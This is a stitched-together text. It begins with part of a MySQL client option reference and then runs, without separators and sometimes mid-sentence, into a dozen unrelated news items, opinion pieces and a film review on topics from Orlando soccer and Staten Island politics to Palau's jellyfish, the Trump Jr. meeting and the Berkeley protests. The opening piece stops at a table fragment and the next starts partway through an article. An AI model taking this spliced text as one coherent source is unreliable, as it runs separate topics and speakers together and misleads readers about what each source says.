--connect-expired-password Indicate to the server that the client can handle sandbox mode if the account used to connect has an expired password. This can be useful for noninteractive invocations of mysql because normally the server disconnects noninteractive clients that attempt to connect using an account with an expired password. (See Section 6.3.6, “Password Expiration and Sandbox Mode”.) This option was added in MySQL 5.6.12.
--database= db_name, -D db_name The database to use. This is useful primarily in an option file.
--debug[= debug_options ], -# [ debug_options ] Write a debugging log. A typical debug_options string is d:t:o, file_name. The default is d:t:o,/tmp/mysql.trace. This option is available only if MySQL was built using WITH_DEBUG. MySQL release binaries provided by Oracle are not built using this option.
--debug-check Print some debugging information when the program exits.
--debug-info, -T Print debugging information and memory and CPU usage statistics when the program exits.
--defaults-extra-file= file_name Read this option file after the global option file but (on Unix) before the user option file. If the file does not exist or is otherwise inaccessible, an error occurs. file_name is interpreted relative to the current directory if given as a relative path name rather than a full path name. For additional information about this and other option-file options, see Section 4.2.7, “Command-Line Options that Affect Option-File Handling”.
--delimiter= str Set the statement delimiter. The default is the semicolon character ( ; ).
--disable-named-commands Disable named commands. Use the \* form only, or use named commands only at the beginning of a line ending with a semicolon ( ; ). mysql starts with this option enabled by default. However, even with this option, long-format commands still work from the first line. See Section 4.5.1.2, “mysql Client Commands”.
--force, -f Continue even if an SQL error occurs.
--histignore A list of one or more colon-separated patterns specifying statements to ignore for logging purposes. These patterns are added to the default pattern list ( "*IDENTIFIED*:*PASSWORD*" ). The value specified for this option affects logging of statements written to the history file. For more information, see Section 4.5.1.3, “mysql Client Logging”. This option was added in MySQL 5.6.8.
--init-command=str SQL statement to execute after connecting to the server. If auto-reconnect is enabled, the statement is executed again after reconnection occurs.
--line-numbers Write line numbers for errors. Disable this with --skip-line-numbers.
--no-auto-rehash, -A This has the same effect as --skip-auto-rehash. See the description for --auto-rehash.
--no-beep, -b Do not beep when errors occur.
--one-database, -o Ignore statements except those that occur while the default database is the one named on the command line. This option is rudimentary and should be used with care. Statement filtering is based only on USE statements. Initially, mysql executes statements in the input because specifying a database db_name on the command line is equivalent to inserting USE db_name at the beginning of the input. Then, for each USE statement encountered, mysql accepts or rejects following statements depending on whether the database named is the one on the command line. The content of the statements is immaterial. Suppose that mysql is invoked to process this set of statements: DELETE FROM db2.t2; USE db2; DROP TABLE db1.t1; CREATE TABLE db1.t1 (i INT); USE db1; INSERT INTO t1 (i) VALUES(1); CREATE TABLE db2.t1 (j INT); If the command line is mysql --force --one-database db1, mysql handles the input as follows: The DELETE statement is executed because the default database is db1, even though the statement names a table in a different database.
The DROP TABLE and CREATE TABLE statements are not executed because the default database is not db1, even though the statements name a table in db1.
The INSERT and CREATE TABLE statements are executed because the default database is db1, even though the CREATE TABLE statement names a table in a different database.
--pager[= command ] Use the given command for paging query output. If the command is omitted, the default pager is the value of your PAGER environment variable. Valid pagers are less, more, cat [> filename], and so forth. This option works only on Unix and only in interactive mode. To disable paging, use --skip-pager. Section 4.5.1.2, “mysql Client Commands”, discusses output paging further.
--password[= password ], -p[ password ] The password to use when connecting to the server. If you use the short option form ( -p ), you cannot have a space between the option and the password. If you omit the password value following the --password or -p option on the command line, mysql prompts for one. Specifying a password on the command line should be considered insecure. See Section 6.1.2.1, “End-User Guidelines for Password Security”. You can use an option file to avoid giving the password on the command line.
--pipe, -W On Windows, connect to the server using a named pipe. This option applies only if the server supports named-pipe connections.
--protocol={TCP|SOCKET|PIPE|MEMORY} The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want. For details on the permissible values, see Section 4.2.2, “Connecting to the MySQL Server”.
--quick, -q Do not cache each query result, print each row as it is received. This may slow down the server if the output is suspended. With this option, mysql does not use the history file.
--raw, -r For tabular output, the “boxing” around columns enables one column value to be distinguished from another. For nontabular output (such as is produced in batch mode or when the --batch or --silent option is given), special characters are escaped in the output so they can be identified easily. Newline, tab, NUL, and backslash are written as
, \t, \0, and \\. The --raw option disables this character escaping. The following example demonstrates tabular versus nontabular output and the use of raw mode to disable escaping: % mysql mysql> SELECT CHAR(92); +----------+ | CHAR(92) | +----------+ | \ | +----------+ % mysql -s mysql> SELECT CHAR(92); CHAR(92) \\ % mysql -s -r mysql> SELECT CHAR(92); CHAR(92) \
--reconnect If the connection to the server is lost, automatically try to reconnect. A single reconnect attempt is made each time the connection is lost. To suppress reconnection behavior, use --skip-reconnect.
--secure-auth Do not send passwords to the server in old (pre-4.1) format. This prevents connections except for servers that use the newer password format. As of MySQL 5.6.7, this option is enabled by default; use --skip-secure-auth to disable it. |
and be more visible. He’s been a behind-the-scenes figure since joining the club, but he said he’s maintained a vacation home in Orlando for seven years and the city has been the destination of choice for his family since he was 15 years old.
“I’ve been in love with this city for a long, long time,” Leitão said. “So, look, we are not going to agree all the time, I know that, but I want [fans] to understand what we’re doing here is legitimate and I’m telling the truth. We had to respect Phil and his desire to not open his personal motivations.”
Rawlins will continue to hold an ownership share in the company and will make appearances on behalf of the club, Leitão said, adding the beloved president promised to be at the Lions’ 2017 season opener in the new stadium March 5 against NYCFC.
“We’re going to make sure he’ll be around, he’s one of the owners of the club. And as friends, I will pick my phone up and call him. This is one of the things I made him promise me as well,” Leitão said laughing. “I said, ‘You pick the phone up when I call you.’ ”
ardelgallo@orlandosentinel.comSTATEN ISLAND, N.Y. -- Staten Island Borough President James Molinaro is accused of cursing at one of his neighbors in Fort Wadsworth because he couldn't drive past him while a film crew blocked their street.
"You don't know who you're f--- with! I will pull your permit so fast!" Molinaro yelled, according to Paul Bruno, 35, a DJ and podcaster who lives down the block from the borough president on Lyman Avenue.
Paul Bruno says Borough President James P. Molinaro cursed him when he couldn't drive past him because a film crew was blocking their street.
The episode happened at about 6:45 p.m. Friday, while a film crew was shooting a scene for "The Last Five Years" nearby, Bruno said.
The film is an adaptation of a musical by the same name about a failing marriage.
Bruno, who has nothing to do with the film, was heading home, when a production assistant stopped his car on Lyman near Tompkins Avenue, and told him to wait before he could pull into his apartment building.
Molinaro pulled up in the opposite direction, driving a car with the license plate, "SI BP," and started arguing with the production assistant and motioning to Bruno, the DJ recalled.
"Eventually, he pulls up to me and yell "Hey smart ass! You're supposed to pull over. I had no clue what he was talking about since A) I was pulled over and B) he could drive around me easily.
"I believe he thought I was working on the movie as well because he then told me 'You don't know who you're f---with! I will pull your permit so fast!'"
After Bruno told him he lived on the block and was trying to get home, Molinaro pulled around him and drove off.
"He drove past me easily, which I knew he could, which is why I didn't understand why there was a problem in the first place. I wasn't blocking him at all," Bruno said, noting that he also head sirens during the encounter, though he wasn't sure where they came from.
On Sunday night, Molinaro offered his version of the encounter, and admitted getting "pissed off," but denied dropping any curse-words.
He said he was heading out, with his companion, Joan Cusack, as a passenger, when he came upon members of a film crew blocking traffic, even though the scene was shooting in a park a couple of blocks away.
"There was a couple of people working with them with earphones," he said. "I get in, and they got traffic blocked."
He said he told the production assistant, "You don't have a permit to block the street."
The borough president added, "I got no animosity about anybody who's trying to make a living, but why are you tying me up?"
Molinaro said he assumed Bruno was part of the production crew -- "I got pissed off. I'm not going to deny it," he said, noting that Bruno "could have pulled over." Molinaro added he didn't understand why they had stopped the other motorist to begin with.
"I didn't curse at him. I said something which may have been a little derogatory, but I didn't curse," Molinaro said.
Though they live on the same block, Bruno and Molinaro both said they'd never encountered the other.
Bruno said that Molinaro definitely cursed at him: "He's a liar. I don't remember everything he said verbatim, but when the borough president says "You don't know who you're f--- with" you tend to remember that. I'm pretty sure he dropped more than one f-bomb."
He called Molinaro a bully, stating, "I'm not just the Borough President's constituent but also his neighbor. However, his behavior was despicable regardless of who I am. No one deserves to be spoken to like that. You'd think an elected official wouldn't resort to profane bullying in response to a minor inconvenience. Unfortunately, it seems to be Mr. Molinaro's go-to tactic."
Molinaro, meanwhile, called the episode a "misunderstanding." He said that he likely wouldn't recognize Bruno if he saw him again, since the encounter lasted a few seconds.
"He knows where I live, so if he wants to come down and talk to me, I'm here," Molinaro said.
"I would tell the guy, look, it was a misunderstanding there," he said, reiterating that he thought Bruno was part of the film crew. "There's no big deal."Update: K-1 World Max 2014 Final featuring Buakaw vs Kehl on 26th July in Pattaya
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The event has been postponed to October 4, 2014 due to the “political climate in Thailand”.
Update 16/05/2014:
The emergent Iranian fighter Eisa Alamdar, who on January defeated on points Albert Kraus (Video) and on March won the Xtreme Muay Thai tournament in Hong Kong (News), will face the Russian fighter Artem Pashporin.
Update 06/05/2014:
The strong Belarusian fighter Andrei Kulebin will face the Korean Lee Sung-Hyun and the Spanish fighter Màximo Suàrez will face the Azerbaijani fighter Tural Bayramov.
Update 05/05/2014:
Official sources have just confirmed that the event will take place in Pattaya (Thailand) at the “Indoor Athletics Stadium” (Chaiyaphruek 2 Road) on 26th July 2014.
Original News:
After the semifinal of last Febraury in Azerbaijan (News), there are new details about K-1 World Max 2014 final in wich the two times K-1 World Max Champion (2004-2006) Buakaw Banchamek will face again the German Enriko Kehl.
No date has been set yet but it’s already known that the final will take place the next July in Thailand.
The two fighters already faced on December 2013 at Max Muay Thai – Khon Kaen (Video); Buakaw won the fight on pts.
It’s been already 10 years since Buakaw won for the first time K-1 World Max by beating on points the Japanese Masato.
Will Buakaw win for the 3rd time this Title?Just when you thought the Don Jr. story was starting to fizzle, due to revelations which would suggest that nothing of substance was discussed in his meeting with the now infamous Russian lawyer Natalia Veselnitskaya, NBC News has just dropped a new "bombshell" detail that the heretofore unknown, and quite'mysterious', third-party that attended that meeting with Veselnitskaya was none other than a Soviet-born counter intelligence officer.
Of course, once you get past the salacious headline, the story may not be as much of a "bombshell" as NBC would undoubtedly like it to be. It seems this "former Soviet counter intelligence officer", a man that NBC refuses to identify for some reason, emigrated to the U.S. some time ago, is an American lobbyist and holds dual citizenship in the United States.
The Russian lawyer who met with the Trump team after a promise of compromising material on Hillary Clinton was accompanied by a Russian-American lobbyist — a former Soviet counter intelligence officer who is suspected by some U.S. officials of having ongoing ties to Russian intelligence, NBC News has learned. NBC News is not naming the lobbyist, who denies any current ties to Russian spy agencies. He accompanied the lawyer, Natalia Veselnitskaya, to the June 2016 meeting at Trump Tower attended by Donald Trump Jr., Jared Kushner and Paul Manafort. The Russian-born American lobbyist served in the Soviet military and emigrated to the U.S., where he holds dual citizenship.
Ironically, and we're just spitballing here so don't hold us to it, maybe, just maybe, bringing a 'lobbyist' to a meeting in which your intent is to 'lobby' for the overturn of the Magnitsky Act might just be something that makes sense rather than being part of a larger plot to rig an entire American presidential election.
Meanwhile, as Natasha Bertrand of Business Insider notes, the identity of this'mysterious' 6th person was actually revealed last week by the New York Times as Rinat Akhmetshin. And, guess what? He was part of a lobbying team put together by Veselnitskaya to overturn the Magnitsky Act and was actually the person who organized the showing of that anti-Magnitsky Act film at the Newseum, which Veselnitskaya attended, 4 days after the infamous Don Jr. meeting.
Ah ha. NYT described Akhmetshin last week as part of a lobbying team put together by Veselnitskaya & Katsyv to overturn Magnitsky. pic.twitter.com/e2btaEfIG2 — Natasha Bertrand (@NatashaBertrand) July 14, 2017
Contacted about the meeting, Don Jr.'s attorney simply stated that the man was a "friend of Emin [Agalarov]’s and maybe as a friend of Natalia [Veselnitskaya]’s."
Contacted by NBC News, representatives for Kushner and Manafort declined to comment. Alan Futerfas, the attorney retained by Donald Trump Jr., confirmed he has spoken to the individual. "It’s very simple,” Futerfas said. "The person was described as a friend of Emin [Agalarov]’s and maybe as a friend of Natalia [Veselnitskaya]’s.” Futerfas said he has talked with that individual who came to the meeting with Veselnitskaya. "He is a U.S. citizen. He told me specifically he was not working for the Russian government, and in fact laughed when I asked him that question.” Futerfas confirmed that, “for the purpose of security or otherwise, the names were reviewed” but said Trump Jr. knew nothing about the man's background at the time of the meeting. When asked about whether he had concerns, knowing what he knows now, Futerfas responded: “I have absolutely no concerns about what was said in that meeting.”
So what say you? Elaborate plot to coordinate with Russian operatives which resulted in the first successful American coup in history or a useless meeting that has become a convenient tool in advancing the media's Russian narrative?WELLINGTON, New Zealand — The big question at Palau's Jellyfish Lake: Where are all the jellyfish?
Part of a UNESCO World Heritage area, the saltwater lake has long been a source of wonder for tourists, who have delighted in snorkeling among the millions of golden jellyfish that can fill the water as thick as corn chowder. But some tourists in recent weeks have struggled to find even a single jellyfish, prompting at least one tour operator to suspend its trips.
SEE ALSO: Stunning island nation of Palau will make most of its seas a huge sanctuary
Scientists blame a severe drought, coupled with hotter temperatures caused by the El Niño weather pattern, a warming of parts of the Pacific Ocean that changes weather worldwide and tends to push up global temperatures.
An aerial view of Jellyfish Lake in Palau. Image: J.W. Alker / picture-alliance / dpa / Associated Press
While scientists say there's every chance jellyfish numbers will rebound when conditions improve, they also worry that global warming poses a long-term threat to the delicate ecosystem of Palau, a tiny western Pacific island chain.
The adult jellyfish have pretty much died out completely, while some juveniles remain.
"Just the past couple of weeks, the numbers have drastically declined," said Collin Joseph, a coastal manager for Palau's Koror State. He said the adult jellyfish have pretty much died out completely, while some juveniles remain.
The decline is particularly concerning because the jellyfish in the lake are a unique subspecies that have developed in isolation from their lagoon ancestors.
Koror State Governor Yositaka Adachi last week decided to keep the lake open, at least for now. He said in a statement that rainfall in the area over the past four months was the lowest in 65 years, but that there remained enough polyps, which produce jellyfish, to ensure the population could eventually recover.
But some aren't waiting for that.
"Many tour companies including ours that have been taking guests to the lake have not seen any jellyfish," Sam's Tours wrote in an April 22 note to its sales partners. "We at Sam's Tours have therefore decided to suspend our tours to Jellyfish Lake with immediate effect until further notice."
Swimming with jellyfish in Jellyfish Lake, Micronesia, Palau. Image: Reinhard Dirscherl/ullstein bild / Getty Images
Scientists are still trying to figure out exactly how the hot and dry conditions are affecting the jellyfish. Governor Adachi wrote that the lack of rain had reduced runoff into the lake, which had affected the tiny plants and animals the jellyfish consume.
The Coral Reef Research Foundation also noted the lack of rain had caused the lake to become saltier than ever previously recorded, in monitoring which dates back to 1998.
SEE ALSO: Dazzling photos from a Pacific marine sanctuary larger than California
"The exact cause of the decline in the population of golden jellies is not yet understood, but it is clear at present that young [jellyfish] are not surviving very long after release by the bottom-dwelling polyp stage," the foundation wrote in an April Facebook post. It added: "The golden jelly population could be on the verge of crashing" to the point where there were no more swimming about the lake.
The foundation noted the population had crashed once before, in 1999, but had rebounded 18 months later because some polyps had survived.
Image: Coral Reef Foundation / Facebook
Jellyfish Lake is unusual in being a small body of seawater surrounded by land. Channels to the sea remain deep in the limestone rock beneath the lake. Below about 13 meters (40 feet), the lake has little oxygen and high concentrations of hydrogen sulfide, making it dangerous for scuba divers. Due to their isolation from the ocean, five marine lakes in the area have produced five different subspecies of golden jellyfish.
Scientists say a common myth about the jellyfish in the lake is that they don't sting, when in fact they can give swimmers a mild sting, which can be compounded by prolonged exposure.
Image: Benjamin Lowy / Contributor / Getty Images
Los Angeles-based photographer and model Amber Arbucci discovered that in 2013, when she completed a seven-hour naked photo shoot in the lake for her collection "The Girl at Jellyfish Lake."
"I was so stung my eyes were swollen and I could barely walk," she told The Wall Street Journal.
She wrote on her website, however, that she still found the jellyfish filled with charm — "powerful, and yet so fragile all at the same time."
Jellyfish Lake on Aug. 28, 2015. Image: Benjamin Lowy / Contributor / Getty Images
Additional reporting by Mashable.
Have something to add to this story? Share it in the comments.The five nurseries in Florida approved to grow and distribute medical marijuana were announced Monday by the Department of Health, putting an end to a months-long wait by parents and their sick children who need the drug to control severe seizures.
The approved nurseries by region are:
Those nurseries now have 10 business days to post a $5 million performance bond, according to a press release. If a nursery doesn’t post a bond, the department will pick the next highest-scoring applicant by region.
Approved nurseries must ask for authority to grow within 75 days, and actually begin planting within 210 days of getting that permission, the department said.
The plan is that nurseries will grow the marijuana, which will be made into an infused oil to ingest.
A number of lawmakers, including state Rep. Matt Gaetz, have vented in recent weeks about the Health Department’s delay into putting into motion the medical marijuana law passed last year. The last deadline was Oct. 31.
After Monday’s announcement, Gaetz tweeted, “I am thrilled that today Florida issued licenses to legally grow #MedicalMarijuana for the sick and dying #HelpIsOnTheWay.”
State Rep. Katie Edwards, a Plantation Democrat who sponsored the medical marijuana legislation, also lauded the announcement.
“At last, families seeking the relief only this drug can offer are a step closer to help,” she said in an email. “It’s a shame that more than 15 months after the Legislature took this important step, the bureaucracy is catching up.
Last year, the Legislature passed and Gov. Rick Scott signed into law a measure legalizing low-THC, or “non-euphoric,” marijuana to help children with severe seizures and muscle spasms. THC is the chemical that causes the high from pot.
The Department of Health was charged with setting up a system to make sure sick kids can get the drug. But long rule-making delays, including some caused by legal maneuvering, have hampered the process.
A three-member panel of state officials was tasked with selecting five approved pot providers out of 28 nurseries who turned in applications due July 8.
That panel had its own hiccup when one member stepped down after it was learned her certified public accountant license was inactive.
Applications, reviewer score cards, and a map of approved nurseries with approval and denial letters are available for public viewing by clicking here.
The department now has to make rules for nursery inspections; a workshop will be held Dec. 9 at the department’s Tallahassee headquarters.
Other efforts are in the works, including a renewed try at a constitutional amendment for medical marijuana and bills filed for next legislative session that would allow stronger varieties of medicinal pot than the “Charlotte’s Web” strain currently authorized.
Twenty-three states and the District of Columbia now have decriminalized medical marijuana under state law, according to the National Conference of State Legislatures, but selling marijuana is still technically a federal crime.Following the purchasing of Atlus by Sega (via their parent company) and the following breaking of ties with Atlus’ former European distributor NIS America, we’ve learned (via MCV) that Sega is ramping up to probably start handling European publishing duties for Atlus.
“We’re very interested in bringing all of the group’s Japanese content not just to the West, but to Europe in particular,” SVP of commercial publishing John Clark said.
“We are always trying to find a way. And that’s an on-going process. That’s something we are continually assessing and talking to and if there are really strong opportunities to support the Japanese content in Europe, we’ll do it.”
This is exciting news, considering Sega is now officially handling publishing duties for Atlus games in North America.
Whenever Sega makes the announcement, this will probably coincide with the announcement that Persona 5 is coming to Europe – the question is when.
Persona 5 is set for a September 15th release in Japan, while a North American release date is coming at this year’s E3.France is using air and ground power in a joint offensive with Malian soldiers launched on Jan. 11 against hardline Islamist groups controlling northern Mali Photo by Issouf Sanogo/AFP/Getty Images.
“A decade of war is now ending,” President Obama declared on Monday. Maybe that’s true in America, but it isn’t true anywhere else. Extremists are still plotting acts of terror. Authoritarian and autocratic regimes are still using violence to preserve their power. The United States can step back from international conflicts, but that won’t make them disappear.
Fortunately, there is another power that shares our economic and political values, that possesses sophisticated military technology, and is also very interested in stopping the progress of fanatical movements, especially in North Africa and the Middle East. That power is … Europe.
Don’t laugh! I realize that even a year ago that statement would have seemed absurd. I certainly couldn’t have written it in the immediate aftermath of the 2011 Libya operation, during which France, Britain, and a dozen other states were barely able to sustain a brief war, involving no ground troops, against a poorly armed and unpopular regime. Unverified reports at the time alleged that the French ran out of bombs and were dropping lumps of concrete. Without the intelligence and coordination provided by American warships, airplanes, and the CIA, the French planes wouldn’t even have known where to drop them.
Yet here we are in 2013, watching the French air force and troops come to the aid of the formerly democratic government of Mali, which is fighting for its life against a fanatical Islamist insurgency. Furthermore, this French intervention has (so far) broad national support. Although there have been public criticisms of the operation’s logistics, preparation, and ultimate goals, almost no one in France questions the need for intervention. Hardly anyone is even asking “Why France?”
The French have a special, post-colonial sentiment for Francophone Africa (and, according to a French friend, for Malian music) and have intervened there militarily more than 40 times since 1960. But the context of this intervention is different from many previous ones. The aim is not (or not entirely) to prop up a pro-French puppet regime but to block the progress of al-Qaida in the Maghreb, the brutal organization that fuels the Malian insurgency and took hostages at an Algerian gas complex last week.
In other words, the French are in Mali fighting an international terrorist organization with the potential to inflict damage across North Africa and perhaps beyond. Not long ago, this sort of international terrorist organization used to inspire emergency planning sessions at the Pentagon. Now the French have trouble getting Washington to pay attention at all. Some U.S. transport planes recently helped ferry French soldiers to the region but, according to Le Figaro, the Americans at first asked the French to pay for the service—“a demand without precedent”—before wearily agreeing to help.
But other Europeans are offering money and soldiers. The European Union has authorized funding to train African troops who will assist—and it does have more experience than you think. European Union forces, operating far beneath the publicity radar, attacked pirate bases on the Somali coast last spring—successfully. “They destroyed our equipment to ashes,” a man described as a “pirate commander” told the Associated Press. All told, the European Union has intervened militarily in more than two dozen conflicts. Not quite as much as the French since 1960, but getting there.
A number of obstacles must be overcome before the EU could become the world’s policeman. Although combined European military does make the EU the world’s second largest military power, it still isn’t enough for any kind of sustained conflict. Some Europeans, most notably the Germans, would have to overcome their post–Second World War abhorrence of soldiers. Other Europeans, most notably the British, would have to be made to believe, as others have concluded, that Americans just aren’t that interested in NATO anymore. An added complication emerged this week when British Prime Minister David Cameron announced his intention to renegotiate his country’s relationship with the European Union. However it unfolds, this process is unlikely to be conducive to the development of a common European foreign and defense policy.
These are big obstacles. But what’s the alternative? If America is to enjoy “peace in our time”—an expression now deployed by both Barack Obama and Neville Chamberlain—while the rest of the world remains at war, then someone else will fill the vacuum. A glance at the other candidates—China, Russia, or perhaps Qatar or another Gulf state—ought to make us all stop giggling about cheese-eating surrender monkeys and start offering logistical and moral support. Europe may not be the best superpower. But it’s the only one we’ve got.Release Date: May 24, 2013
Director: Chris Wedge
Stars (voices): Amanda Seyfried, Josh Hutcherson, Colin Farrell
Runtime: 102 min
Blue Sky Studios is best known for their Ice Age movies. Chris Wedge, co-director of that franchise, goes solo with Epic, the third animated movie of 2013 (after Escape from Planet Earth and The Croods). It follows the female protoganist, M.K. (voiced by Amanda Seyfried), who is forced to re-locate to the home of her estranged father, Professor Bomba (voiced by Jason Sudeikis), after her mother’s death. Her father is an eccentric character, as he is convinced there are tiny people living out in the woods.
It turns out, there is. But it’s a little more complex than that. It’s a challenge of good and evil of the Leaf Men, who, by protecting the queen (voiced by Beyoncé Knowles), preserve the life of the forest; but the evil Boggans threaten them with powers of decay. Today is the day Queen Tara must pick the pod to be the heir to her throne. M.K. is mixed up with this world when she is turned from a stomper (the Leaf Men term of big humans) to a little miniature human. She must team up with a crew to help keep the pod away from the malevolent leader of the Boggans, Mandrake (voiced by Christoph Waltz), in order to save their world, and ours.
It must be expected that a movie called Epic really won’t be so damn epic. It turns out to be a good, light-hearted animated flick that teaches kids about teamwork and that, even if you feel alone, you truly aren’t. It’s a nice message, and the way the filmmakers portray it is imaginative and admirable. The animation has a great, human look and feel to it. It might as well be an animated version of The Borrowers, just with very mild action sequences, in a very fun, but forgettable story.
It’s an old-fashioned, good vs. the forces of evil, predictable and formulaic ride. The imaginative action sequences are fun and have intensity present. There’s a lot of room for imagination at play, but there are only a few notable characters. The main Boggan, Mandrake, is often psychotic and threatening for a children’s movie, but nothing that will have kiddies waking up in the middle of the night with nightmares. He has some memorable lines, but he’s more underwhelming than anyone could believe a character portrayed by Christoph Waltz could ever be.
Nod (Josh Hutcherson) is a misfit Leaf Man who needs to learn about teamwork, and the primary Leaf Man, Ronin (Colin Farrell), is precisely the man to teach it to him. He’s a no-nonsense character, and Queen Tara desperately wants to see his smiling face. She requests this in a truly dull fashion. I don’t have much praise to hand out to Knowles, Hutchison, Seyfried or really even Farrell, but I don’t have anything to fault them for, either. They just don’t stand out so well. Many of the characters have good lines, but you’ll forget their names (most notably Bomba, Bufo, and M.K.) as soon as you walk out of the theatre.
There are four characters whose names and presences no one will forget anytime soon. Nim Guluu is the “rock-star” information keeper of the miniature world, appropriately voiced by rock star Steven Tyler. There’s also a silly, three-legged dog who mostly just runs in circles. The laid-back slug called Mub (Aziz Ansari) and his uptight snail associate, Grub (Chris O’Dowd), are the true scene-stealers of the movie. They’re hilarious in the way Mub thinks he has a chance with M.K., and how Grub is an aspiring Leaf Man. (Let that irony sink in for a second.) They’re never annoying, always funny, and the movie is at its most lively when they’re on-screen. Who thought slimy little things could be so appealing?
Epic isn’t quite, y’know, epic, but it’s a predictable and funny ride that is a blast once it really gets going. For the most part, it’s about as memorable as its generic title. The great animation and hilarious and slimy scene-stealers make this memorable, and something worth watching twice. Christoph Waltz, to his best ability, rocks his role and he shines when Mandrake is at his most psychotic. You care for the protagonists, because no one wants to see a forest rot to the ground, right?
74/100
AdvertisementsThe daughter of one of Canada's longest-serving Conservative prime ministers says she is considering a run for political office.
Caroline Mulroney was picked by the party to serve as a master of ceremonies for the leadership convention in Toronto this weekend. The prime speaking gig for the scion of former prime minister Brian Mulroney raised questions from some party members about her future in elected politics. (Manitoba Conservative MP Candice Bergen is the other MC.)
In her address to delegates Friday, Mulroney poked fun at Prime Minister Justin Trudeau — "Who would want to run for the dad's old job?" she quipped — but in an interview with CBC News after the leadership speeches, she left the door wide open to a future run.
I am certainly a Progressive Conservative - Caroline Mulroney
"I think politics is definitely something that I've always thought about as a career. And what I've learned from watching my father and so many of our friends participate in it, it's all about timing and opportunity and getting all those things right."
The Toronto-based lawyer also planted herself firmly on the Progressive Conservative side of the party, the name of the defunct party her father led for more than a decade.
"I grew up in the Progress Conservative wing, but I'm open to all sorts of ideas. But I am certainly a Progressive Conservative," she said.
Former prime minister Brian Mulroney, left, and his daughter Caroline arrive at the state funeral for the late Jim Flaherty in Toronto. (Frank Gunn/Canadian Press)
When asked what qualities she would bring to the job, she provided an answer that sounded like what any child of a former prime minister might have said when jumping into the federal fray.
"I've travelled a lot across this country because of my father's job — I've had that experience. I've been able to meet a diverse group of Canadians, so I would bring that to it," Mulroney said. "I'm somebody who's been working my whole life, I've got a career in law and in finance. I've worked in the non-profit world starting a charity. I'm a mother raising four children."
Mulroney is married to Andrew Lapham, who is the chairman of Blackstone Canada, part of the international investment firm Blackstone Group. One of U.S. President Donald Trump's top economic advisers, Stephen Schwarzman, is the head of Blackstone's American operations who met with federal cabinet ministers in Calgary this winter.
Former transport minister and current leadership contender Lisa Raitt appointed Mulroney to the Windsor-Detroit Bridge Authority in 2014, which prompted criticism from the then-opposition NDP as a plum patronage posting. The federal Crown corporation is charged with overseeing the construction and management of the Gordie Howe International Bridge.
Dynasty in Canadian politics
Mulroney demurred Friday when asked who she would support for Conservative leader, but said the 13 candidates have something to offer party members.
"I thought there were great speeches tonight. A lot of great ideas that I hope the new leader will consider and integrate to the [party] platform," she said.
A jump into politics would continue a dynastic trend that has developed in Canadian politics. In addition to Trudeau, the front runner in the race to replace Stephen Harper as permanent leader, Maxime Bernier, is the son of former Conservative-turned-independent MP Gilles Bernier, who held the same seat in Beauce, Quebec.
Follow CBC's coverage
CBC's live coverage of the Conservative leadership convention continues Saturday with a CBC News special hosted by Peter Mansbridge starting at 4 p.m. ET. Watch livestreaming video here and follow the live blog, or watch on CBC News Network or Facebook. First ballot results are expected around 5:30 p.m. ET.
We'll have more streaming video, live updates and analysis at cbcnews.ca/politics.Newcastle United will offer Charlie Austin their No 9 jersey this week as they step up their efforts to land their top transfer target.
The Magpies thought they were at the front of the queue to sign the Queens Park Rangers striker and had hoped to conclude a deal in the same week that Steve McClaren was confirmed as the new head coach.
Austin, however, was never going to make such an early decision on his future amid interest from several clubs, with West Ham the latest to join the race for the £15million-rated frontman.
Charlie Austin will be offered the opportunity to wear the iconic No 9 shirt for Newcastle if he signs
Austin's 18 domestic goals last season was bettered only by Sergio Aguero, Harry Kane and Diego Costa
But with Newcastle and McClaren desperate to lay down a marker ahead of what is a pivotal summer for the club, they will now present a package to Austin’s camp which includes the No.9 shirt worn by Alan Shearer.
Last season’s top scorer Papiss Cisse currently holds the jersey, but the injury-plagued 30-year-old is expected to move on before the start of the season.Two demonstrators hold signs as they face a police line after a student protest turned violent at UC Berkeley during a demonstration over right-wing speaker Milo Yiannopoulos, who was forced to cancel his talk, in Berkeley, California. REUTERS/Stephen Lam
A worker surveys the damage to a vandalized Starbucks after a student protest turned violent at UC Berkeley during a demonstration over right-wing speaker Milo Yiannopoulos, who was forced to cancel his talk, in Berkeley, California. REUTERS/Stephen Lam
A vandalized Bank of America office is seen after a student protest turned violent at UC Berkeley during a demonstration over right-wing speaker Milo Yiannopoulos, who was forced to cancel his talk, in Berkeley, California. REUTERS/Stephen Lam
Police officers prepare to deploy a skirmish line after a student protest turned violent at UC Berkeley during a demonstration over right-wing speaker Milo Yiannopoulos, who was forced to cancel his talk, in Berkeley, California, U.S., February 1, 2017. REUTERS/Stephen Lam
U.S. President Donald Trump threatened on Thursday to cut funding to the University of California at Berkeley after protesters smashed windows and set fires at the liberal-leaning school, forcing the cancellation of an appearance by a far-right Breitbart News editor.
"If U.C. Berkeley does not allow free speech and practices violence on innocent people with a different point of view - NO FEDERAL FUNDS?" Trump wrote on Twitter at 6:13 a.m. EST (1113 GMT).
It was not immediately clear what action Trump could take without authorization from Congress, or without risking legal action. He did not elaborate on his plans.
U.S. Representative Barbara Lee, a Democrat whose district includes Berkeley, said Trump could not bully the university into silence and vowed to fight any attempt to slash funding.
"Simply put, President Trump's empty threat to cut funding from UC Berkeley is an abuse of power," Lee said in a statement.
The Berkeley campus received $345 million in federal grant money in the most recent fiscal year, according to a Reuters review of federal spending data.
Some $121 million came from the National Science Foundation for scientific research. It would be hard for Trump to cut off this money, as much of it is awarded through a competitive process that evaluates projects based on scientific merit.
Berkeley's undergraduates received $38 million in federal tuition subsidies known as Pell grants in 2014 to 2015, and another $38 million that year in federal student loans, according to the National Center for Education Statistics.
Representatives for the university, which has 38,000 students and a long history of activism, could not immediately be reached for comment.
Trump's chief White House strategist, Steve Bannon, previously headed Breitbart News.
Hours before Breitbart's Milo Yiannopoulos was to give a speech at Berkeley's student union on Wednesday, hundreds of protesters clashed with police at the campus.
Demonstrators tossed metal barricades and rocks through the building's windows and set a generator on fire near the entrance, footage from news outlets showed. Police ordered the crowds to disperse, and the school was put on lockdown.
"We shut down the event," one protester told CNN. "It was great. Mission accomplished."
In a statement, the university blamed about 150 "masked agitators" for the violence during the otherwise mostly peaceful demonstration by about 1,500 people.
The school "is proud of its history and legacy as home of the free speech movement" in the 1960s, the statement said.
Many of the protesters voiced opposition to Trump, CNN reported. The president's executive orders and proposed policies, including his suspension of the U.S. refugee program and temporary ban on travelers from seven Muslim-majority countries, have triggered largely peaceful demonstrations by tens of thousands of people across the United States.
Yiannopoulos, whose Twitter account was suspended last year after he was accused of participating in the online harassment of a black actor, told Fox News he was rushed to safety by his security guards and police after protesters began throwing rocks.
